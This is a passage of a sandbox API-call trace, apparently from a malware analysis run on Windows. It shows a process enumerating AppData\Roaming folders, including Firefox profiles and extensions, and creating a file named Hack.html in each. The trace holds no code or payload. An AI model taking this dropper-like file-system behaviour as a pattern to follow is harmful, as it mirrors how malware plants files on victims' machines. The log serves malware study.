HALPmcxz\\AppData\\Roaming\\Microsoft\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Hack.html", lpFilePart=0x0) returned 0x41 [0079.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0079.605] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.606] GetFileType (hFile=0x174) returned 0x1 [0079.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0079.606] GetFileType (hFile=0x174) returned 0x1 [0079.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0079.607] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla", lpFilePart=0x0) returned 0x35 [0079.607] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\", lpFilePart=0x0) returned 0x36 [0079.607] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1e8 [0079.607] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.607] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.607] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.607] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0079.607] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0079.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0079.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0079.608] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla", lpFilePart=0x0) returned 0x35 [0079.608] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\", lpFilePart=0x0) returned 0x36 [0079.608] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1e8 [0079.608] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.608] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.608] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.608] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0079.608] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0079.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0079.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.608] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions", lpFilePart=0x0) returned 0x40 [0079.609] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\", lpFilePart=0x0) returned 0x41 [0079.609] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.609] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.609] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.609] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions", lpFilePart=0x0) returned 0x40 [0079.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\", lpFilePart=0x0) returned 0x41 [0079.610] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.610] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.610] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.610] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\Hack.html", lpFilePart=0x0) returned 0x4a [0079.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\extensions\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.611] GetFileType (hFile=0x174) returned 0x1 [0079.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.611] GetFileType (hFile=0x174) returned 0x1 [0079.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.612] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x3d [0079.612] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\", lpFilePart=0x0) returned 0x3e [0079.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.613] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.614] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.614] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.614] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.614] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.614] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.614] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x3d [0079.614] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\", lpFilePart=0x0) returned 0x3e [0079.614] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.614] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.614] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.614] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.614] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.614] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.614] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.615] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpFilePart=0x0) returned 0x4b [0079.615] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpFilePart=0x0) returned 0x4c [0079.615] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0079.616] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.616] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.616] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.616] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.616] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpFilePart=0x0) returned 0x4b [0079.616] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpFilePart=0x0) returned 0x4c [0079.616] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0079.616] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.616] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.616] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.616] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.617] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\Hack.html", lpFilePart=0x0) returned 0x55 [0079.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0079.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\crash reports\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.617] GetFileType (hFile=0x174) returned 0x1 [0079.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0079.617] GetFileType (hFile=0x174) returned 0x1 [0079.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.618] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x46 [0079.618] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpFilePart=0x0) returned 0x47 [0079.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0079.619] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.619] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.619] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.619] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.620] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x46 [0079.620] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpFilePart=0x0) returned 0x47 [0079.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0079.620] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.620] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.620] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.620] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.621] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default", lpFilePart=0x0) returned 0x57 [0079.621] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", lpFilePart=0x0) returned 0x58 [0079.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0079.623] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.625] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.625] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.627] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default", lpFilePart=0x0) returned 0x57 [0079.627] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", lpFilePart=0x0) returned 0x58 [0079.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: 